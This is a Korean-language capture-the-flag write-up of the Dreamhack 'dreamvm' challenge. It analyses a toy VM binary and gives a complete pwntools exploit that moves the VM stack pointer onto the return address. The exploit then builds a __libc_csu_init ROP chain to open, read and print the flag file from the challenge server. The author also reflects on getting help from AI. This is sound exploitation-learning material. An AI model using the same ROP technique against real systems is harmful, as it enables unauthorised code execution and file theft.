보안/시스템해킹

[Dreamhack][시스템 해킹] dreamvm

playalone 2026. 7. 18. 08:56

[문제 링크](https://dreamhack.io/wargame/challenges/93)

 

문제는 binary 파일 하나만 존재한다.

 

1. 분석

gdb로 보면, 함수는 read_all, write_all.constprop, main이 있는 것을 확인할 수 있다.

 

또한,

0x0000000000400508  _init
0x0000000000400530  abort@plt
0x0000000000400540  write@plt
0x0000000000400550  __stack_chk_fail@plt
0x0000000000400560  close@plt
0x0000000000400570  read@plt
0x0000000000400580  open@plt
0x0000000000400590  main
0x0000000000400730  _start
0x0000000000400760  _dl_relocate_static_pie
0x0000000000400770  deregister_tm_clones
0x00000000004007a0  register_tm_clones
0x00000000004007e0  __do_global_dtors_aux
0x0000000000400810  frame_dummy
0x0000000000400817  read_all
0x000000000040085c  write_all.constprop
0x00000000004008a0  __libc_csu_init
0x0000000000400910  __libc_csu_fini
0x0000000000400914  _fini

 

checksec은 다음과 같다.

File:     /workspaces/dreamhack-practice/dreamhack/dreamvm
Arch:     amd64
RELRO:      Full RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
Stripped:   No

 

2. 코드 흐름

main 함수의 흐름을 따라가면 다음과 같다.

 

1. 사용자에게 받은 argv가 2가 아니라면 사용자로부터 입력을 받고, argv가 2라면, agrv[0]의 파일 이름을 open하여 read 한다.

    이때, 입력은 0x100만큼 받게 된다.

2. 입력받은 값은 vm의 opcode가 된다.

  * 사전 구조 설명 : $rsp+0x1008엔 현재 최고 스택주소, $rsp+0x1010엔 데이터가 저장되어있다. 이를 간단하게 $rsp+0x1008을 sp, $rsp+0x1010을 dt라고 하겠다. 

  - opcode 1: push - dt의 데이터를 sp-8의 위치에 저장하고 sp를 -8한다.

  - opcode 2: pop - sp의 데이터를 dt로 가져오고, sp를 +8한다.

  - opcode 3: add value : 사용자로부터 데이터를 입력받아 dt에 값과 더해 dt에 저장한다.

  - opcode 4: add sp : 사용자로부터 값을 입력받아 sp에 값을 더해 sp에 저장한다.

  - opcode 5: write dt : dt의 값을 화면에 출력한다.

  - opcode 6: read - 사용자로부터 값을 입력받아 dt에 저장한다.

3. sp가 main함수에 할당된 최대 메모리보다 큰지, dt의 주소와 같은지 검사하며, opcode는 0x601040부터 시작하여 0x601137까지이다. sp 검사 혹은 opcode 검사에서 검증 실패가 생기면 opcode 순회를 종료한다.

 

3. 시나리오 구성

1. bof : 가장 기본적인 공격이다. sp의 위치를 ret의 주소로 하여, 변조를 일으킬 수 있다. stack leak을 하여, ret의 주소를 구하고, sp의 검증이 약한 것을 이용하여 sp를 ret로 하여 push하면, ret의 주소가 원하는대로 바뀔것이다. 이 방법에는 문제가 있다. stack leak도 할 수 있고, ret 주소를 구해 push도 할 수 있으나, 문제에서 libc를 제공하지 않아 어떤 libc를 사용하고 있는지 파악하여야한다. 이후 해당 libc를 구해 one gadget을 구하여야하는데 libc를 leak하더라도 base가 정확히 무엇인지 알기 힘들다. 

2. got overwrite: got는 고정이기 때문에 해당 부분에 overwrite를 일으킬수도 있지만, full relro이기 때문에 got overwrite는 불가능하다.

3. rop: 체인을 만들 수 있다. 결국 이 방법으로 성공하긴 하였으나, AI의 도움을 받았다.

 

4. 원래 생각한 시나리오

1. libc leak을 하여, libc base를 구해 system함수 주소를 구한다.

2. pop rdi; ret; 가젯을 이용해 /bin/sh를 rdi에 넣어 system 함수를 호출한다.

 

5. AI가 제공한 시나리오

- 이미 main 함수상에 flag를 읽기 위한 모든 함수가 존재한다. close, open, read, write를 조합하여 rop 체인을 구성한다.

 

6. 익스플로잇

먼저 opcode 0x100 바이트를 넣어야한다.

이 opcode는 sp에 0x8 * 32 + 48이다. 여기서 48은 sp인 $rsp+0x1008에서 48만큼 더하면 ret 주소이다.

0x8 * 32는 이후, rop 체인에서 read 8byte를 32번 할 것이기 때문에 이만큼 stack주소를 더해 ret에 정확하게 overwrite될 수 있게 한다.

 

이후, read(), push()를 32번 진행한다. 이는 앞서 설명한 대로, rop체인을 사용자로 부터 입력받기 위함이다.

 

임의로, 0x80 offset에 flag 텍스트를 넣도록 하겠다.

 

rop chain은 다음과 같다.

close(3) : 0은 stdout, 1은 stdin, 2는 stderr라 한다고 한다. 이후, 파일 open은 이후 숫자부터 들어가게 되고, 혹시 열려있을수도 있는 3을 close 해준다.

open("flag"): flag파일을 열어준다.

read(3, 0x601020, 0x100): 3의 위치(open한 파일)을 0x100만큼 0x601020에 저장한다. 심볼상으론 completed라고 되어있는데 사용하는 함수는 찾지 못하여 이곳에 저장하겠다. opcode와 겹치긴하지만, 이미 opcode 순회는 끝난 rop 체인에 들어온 상태이므로 상관 없이 진행한다.

write(0, 0x601020, 0x100) : 화면에 read한 결과를 출력한다.

 

7. 코드

코드로 작성하면 다음과 같다.

from pwn import *

#p = process("./dreamvm")
p = remote("host3.dreamhack.games", 23841)
e = ELF("./dreamvm")

writeGot = e.got["write"]
readGot = e.got["read"]
closeGot = e.got["close"]
openGot = e.got["open"]

caller = 0x4008e0
setter = 0x4008fa

def push():
    p.send(b"\x01")
def pop():
    p.send(b'\x02')
def addValue(value):
    p.send(b'\x03')
    p.send(value)
def addStackPointer(pointer):
    p.send(b'\x04')
    p.send(pointer)
def write():
    p.send(b'\x05')
def read():
    p.send(b'\x06')
def eof():
    p.shutdown("send")


sended =0
addStackPointer(p64(8*32+48))
sended += 9

for i in range(8*4):
    read()
    push()
    sended += 2

p.send(b'\x00')
sended += 1

p.send(b'\x00' * (0x80-sended))
sended = 0x80
p.send(b'flag\x00')
sended += len(b'flag\x00')
p.send(b'\x00' * (0x100 - sended))

p.send(p64(caller))
p.send(p64(0x100))
p.send(p64(0x601020))
p.send(p64(0))
p.send(p64(writeGot))
p.send(p64(1))
p.send(p64(0))
p.send(p64(setter))

p.send(p64(caller))
p.send(p64(0x100))
p.send(p64(0x601020))
p.send(p64(3))
p.send(p64(readGot))
p.send(p64(1))
p.send(p64(0))
p.send(p64(setter))

p.send(p64(caller))
p.send(p64(0))
p.send(p64(0))
p.send(p64(0x601040 + 0x80))
p.send(p64(openGot))
p.send(p64(1))
p.send(p64(0))
p.send(p64(setter))

p.send(p64(caller))
p.send(p64(0x100))
p.send(p64(0x601020))
p.send(p64(3))
p.send(p64(closeGot))
p.send(p64(1))
p.send(p64(0))
p.send(p64(setter))

p.interactive()

이때, setter는 순차적으로 rbx, rbp, r12, r13, r14, r15를 pop하고 ret하는 __libc_csu_init이며, caller는 rdi=r13, rsi=r14, rdx = r15, call r12+rbx*8을 하는 __libc_csu_init이다.

 

8. 느낀점 및 교훈

- 그간 문제를 풀며 쉘을 따는 것에 집중을 해왔기에 습관적으로 flag만 얻으면 되는 문제에서 쉘을 얻으려 하고 있었다. 이는 내가 생각할 수 있는 범위에 제약을 걸었고, 기본적인 쉘코드(?)에서 사용하는 read write 체인을 생각해내지 못하게 하였다. 스스로에게 제약을 걸고 시작하니, 더 창의적인 아이디어도 나오지 못했고, 한 곳에 치중되게되었다. 쉘을 따는 것이 중요하긴 하지만, 문제의 목적에 맞게 문제를 풀어가는 것이 중요할 것 같다.

- csu_init이 있다는 것만 알고 사용해본 것은 이번이 처음이다. gadget을 보고 pop rdi; ret만 있다고 생각하게 되었지만, 문제에 있는 모든 명령어는 사용 가능하나는 사실을 다시한번 느끼게 되었다.

- 몇일을 고민해도 안나오던 해결책이 군 선임이 AI가 못푸나 하고 한번 돌려본 후 바로 풀리는 것을 보고 약간의 현타를 느꼈다. 아직 내가 많이 부족하구나라는 것을 느꼈고, 더 공부하고 경험을 쌓아야한다라는 생각이 들었다.

- AI에게 도움을 받아 문제를 푸는 것은 내 공부가 아니라고만 생각했다. 하지만, AI에게 도움을 받고 이게 왜 작동하지 라는 것을 분석하고 디버깅해보며 도움을 받는 것도 공부가 되는 구나라는 것을 느꼈다. 허나, 문제를 풀기 위해 지금껏 고민하고 디버깅한 후 AI가 제시한 해결책을 받아보아 그런 것이었다고 나는 생각한다. AI에게만 의존하여 문제를 푸는 것은 내 공부가 아니라는 것에 대한 생각은 여전하나 정말 안풀릴때에는 사용해봐도 좋을 것 같다는 생각이 든다. 허나, 내가 어느정도 풀었을 때 도움을 받아야하는지에 대한 기준이 아직 없고, 스스로 풀었을 때 오는 그 기분 좋은 감정도 훨씬 덜하기에 여전히 AI의 도움을 덜 받고 문제 푸는 것이 목표이다.